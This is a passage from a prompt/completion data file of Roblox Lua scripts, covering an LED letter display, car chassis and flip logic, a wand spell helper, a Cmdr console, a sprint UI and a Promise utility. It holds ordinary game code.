LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"B\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"M\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOn\n\t\treturn\n\tend\t\n\tif Value == \"E\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOn\n\t\treturn\n\tend\t\n\tif Value == \"U\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"P\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\tif Value == \"Z\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOn\n\t\treturn\n\tend\t\n\tif Value == \"-\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOn\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOn\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\n\t\n\t--Blank\n\tif Value == \"\" then\n script.Parent.Row1[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row1[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row2[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row3[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row4[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row5[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row6[\"5\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"1\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"2\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"3\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"4\"].BackgroundTransparency = LEDOff\n script.Parent.Row7[\"5\"].BackgroundTransparency = LEDOff\n\t\treturn\n\tend\t\nend\n\n\n\n\nSP.Value.Changed:connect(function() SetDigit(SP.Value.Value) end)\n"} +{"prompt": "--[[Status Vars]]", "completion": "\n\n\tlocal _IsOn = _Tune.AutoStart\n\tif _Tune.AutoStart then script.Parent.IsOn.Value=true end\n\t\n\tlocal _GSteerT=0\n\tlocal _GSteerC=0\n\tlocal _GThrot=0\n\tlocal _GBrake=0\n\t\n\tlocal _ClutchOn = true\n\tlocal _ClPressing = false\n\tlocal _RPM = 0\n\tlocal _HP = 0\n\tlocal _OutTorque = 0\n\tlocal _CGear = 0\n\tlocal _PGear = _CGear\n\tlocal _spLimit = 0\n\t\n\tlocal _TMode = _Tune.TransModes[1]\n\t\n\tlocal _MSteer = false\n\tlocal _SteerL = false\n\tlocal _SteerR = false\n\tlocal _PBrake = false\n\tlocal _TCS = _Tune.TCSEnabled\n\tlocal _TCSActive = false\n\tlocal _ABS = _Tune.ABSEnabled\n\tlocal _ABSActive = false\n\t\n\tlocal FlipWait=tick()\n\tlocal FlipDB=false\n\t\n\tlocal _InControls = false\n\n\n"} +{"prompt": "---Flip", "completion": "\nfunction Flip()\n\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\tFlipWait=tick()\n\telse\n\t\tif tick()-FlipWait>=3 then\n\t\t\tFlipDB=true\n\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\tgyro.P=3000\n\t\t\tgyro.D=500\n\t\t\twait(1)\n\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\tgyro.P=0\n\t\t\tgyro.D=0\n\t\t\tFlipDB=false\n\t\tend\n\tend\nend\n\n\n"} +{"prompt": "--[[ D fl V Y\nThis is made purely from scratch. If you say I am a free-model-noob, you are obviously blind and I will pwn you (with this wand, ironically).\nThis is DavyDeckwalker's magic wand, which is voice activated and comes with the primary spells from the Harry Potter books by\nJ. K. Rowling. It is easy to use, all you have to do is say the incantation for a spell and you automatically cast that spell.\nTo make your own spell, follow the included instructions. Recommended for scripters only.\n]]", "completion": "\n \n\nlocal wand = script.Parent\nlocal stick = wand.Handle\nlocal inc = script.Name\nlocal owner, connect\n\n\n\nfunction findNearestTorso(pos, dis)\n\tlocal list = game.Workspace:children()\n\tlocal torso = nil\n\tlocal dist = dis\n\tlocal temp = nil\n\tlocal human = nil\n\tlocal temp2 = nil\n\tfor x = 1, #list do\n\t\ttemp2 = list[x]\n\t\tif (temp2.className == \"Model\") and (temp2 ~= wand.Parent) then\n\t\t\ttemp = temp2:findFirstChild(\"Torso\")\n\t\t\thuman = temp2:findFirstChild(\"Humanoid\")\n\t\t\tif (temp ~= nil) and (human ~= nil) and (human.Health > 0) then\n\t\t\t\tif (temp.Position - pos).magnitude < dist then\n\t\t\t\t\ttorso = temp\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\treturn torso\nend\n\n"} +{"prompt": "-- New maid object:", "completion": "\n\nfunction MadworkMaid.NewMaid() --> [Maid]\n\tlocal maid = {\n\t\t_cleanup_tasks = {},\n\t\t_is_cleaned = false,\n\t}\n\tsetmetatable(maid, Maid)\n\treturn maid\nend\n\nMadworkMaid.Cleanup = PerformCleanupTask\n\nreturn MadworkMaid\n"} +{"prompt": "--- Sends an event message to all players", "completion": "\nfunction Command:BroadcastEvent(...)\n\tif not IsServer then\n\t\terror(\"Can't broadcast event messages from the client.\", 2)\n\tend\n\n\tself.Dispatcher.Cmdr.RemoteEvent:FireAllClients(...)\nend\n"} +{"prompt": "--- Handles user input when the box is focused", "completion": "\nfunction Window:BeginInput(input, gameProcessed)\n\tif GuiService.MenuIsOpen then\n\t\tself:Hide()\n\tend\n\n\tif gameProcessed and self:IsVisible() == false then\n\t\treturn\n\tend\n\n\tif self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar\n\t\tif self.Cmdr.MashToEnable and not self.Cmdr.Enabled then\n\t\t\tif tick() - lastPressTime < 1 then\n\t\t\t\tif pressCount >= 5 then\n\t\t\t\t\treturn self.Cmdr:SetEnabled(true)\n\t\t\t\telse\n\t\t\t\t\tpressCount = pressCount + 1\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tpressCount = 1\n\t\t\tend\n\t\t\tlastPressTime = tick()\n\t\telseif self.Cmdr.Enabled then\n\t\t\tself:SetVisible(not self:IsVisible())\n\t\t\twait()\n\t\t\tself:SetEntryText(\"\")\n\n\t\t\tif GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug)\n\t\t\t\tself:Hide()\n\t\t\tend\n\t\tend\n\n\t\treturn\n\tend\n\n\tif self.Cmdr.Enabled == false or not self:IsVisible() then\n\t\tif self:IsVisible() then\n\t\t\tself:Hide()\n\t\tend\n\n\t\treturn\n\tend\n\n\tif self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then\n\t\tlocal ps = input.Position\n\t\tlocal ap = Gui.AbsolutePosition\n\t\tlocal as = Gui.AbsoluteSize\n\t\tif ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then\n\t\t\tself:Hide()\n\t\tend\n\telseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down\n\t\tself:SelectVertical(1)\n\telseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up\n\t\tself:SelectVertical(-1)\n\telseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines\n\t\twait()\n\t\tself:SetEntryText(self:GetEntryText():gsub(\"\\n\", \"\"):gsub(\"\\r\", \"\"))\n\telseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete\n\t\tlocal item = self.AutoComplete:GetSelectedItem()\n\t\tlocal text = self:GetEntryText()\n\t\tif item and not (text:sub(#text, #text):match(\"%s\") and self.AutoComplete.LastItem) then\n\t\t\tlocal replace = item[2]\n\t\t\tlocal newText\n\t\t\tlocal insertSpace = true\n\t\t\tlocal command = self.AutoComplete.Command\n\n\t\t\tif command then\n\t\t\t\tlocal lastArg = self.AutoComplete.Arg\n\n\t\t\t\tnewText = command.Alias\n\t\t\t\tinsertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions\n\t\t\t\t\tand self.AutoComplete.IsPartial == false\n\n\t\t\t\tlocal args = command.Arguments\n\t\t\t\tfor i = 1, #args do\n\t\t\t\t\tlocal arg = args[i]\n\t\t\t\t\tlocal segments = arg.RawSegments\n\t\t\t\t\tif arg == lastArg then\n\t\t\t\t\t\tsegments[#segments] = replace\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal argText = arg.Prefix .. table.concat(segments, \",\")\n\n\t\t\t\t\t-- Put auto completion options in quotation marks if they have a space\n\t\t\t\t\tif argText:find(\" \") or argText == \"\" then\n\t\t\t\t\t\targText = (\"%q\"):format(argText)\n\t\t\t\t\tend\n\n\t\t\t\t\tnewText = (\"%s %s\"):format(newText, argText)\n\n\t\t\t\t\tif arg == lastArg then\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tnewText = replace\n\t\t\tend\n\t\t\t-- need to wait a frame so we can eat the \\t\n\t\t\twait()\n\t\t\t-- Update the text box\n\t\t\tself:SetEntryText(newText .. (insertSpace and \" \" or \"\"))\n\t\telse\n\t\t\t-- Still need to eat the \\t even if there is no auto-complete to show\n\t\t\twait()\n\t\t\tself:SetEntryText(self:GetEntryText())\n\t\tend\n\telse\n\t\tself:ClearHistoryState()\n\tend\nend\n"} +{"prompt": "--------------------", "completion": "\nlocal Frame = script.Parent\nlocal plr = game.Players.LocalPlayer\nlocal char = plr.Character\nlocal humanoid\nif char then\n\thumanoid = char:FindFirstChildWhichIsA(\"Humanoid\")\nelse\n\tchar = plr.CharacterAdded:Wait()\n\thumanoid = char:FindFirstChildWhichIsA(\"Humanoid\")\nend\nlocal speeds = Frame:WaitForChild(\"Speeds\")\nlocal event = Frame:WaitForChild(\"Speed\")\nlocal enabled = Frame:WaitForChild(\"Enabled\")\nlocal tired = false\nlocal running = false\nlocal moving = false"} +{"prompt": "--[[\n\tIntended for use in tests.\n\tSimilar to await(), but instead of yielding if the promise is unresolved,\n\t_unwrap will throw. This indicates an assumption that a promise has\n\tresolved.\n]]", "completion": "\nfunction Promise.prototype:_unwrap()\n\tif self._status == Promise.Status.Started then\n\t\terror(\"Promise has not resolved or rejected.\", 2)\n\tend\n\n\tlocal success = self._status == Promise.Status.Resolved\n\n\treturn success, unpack(self._values, 1, self._valuesLength)\nend\n\nfunction Promise.prototype:_resolve(...)\n\tif self._status ~= Promise.Status.Started then\n\t\treturn\n\tend\n\n\t-- If the resolved value was a Promise, we chain onto it!\n\tif Promise.is((...)) then\n\t\t-- Without this warning, arguments sometimes mysteriously disappear\n\t\tif 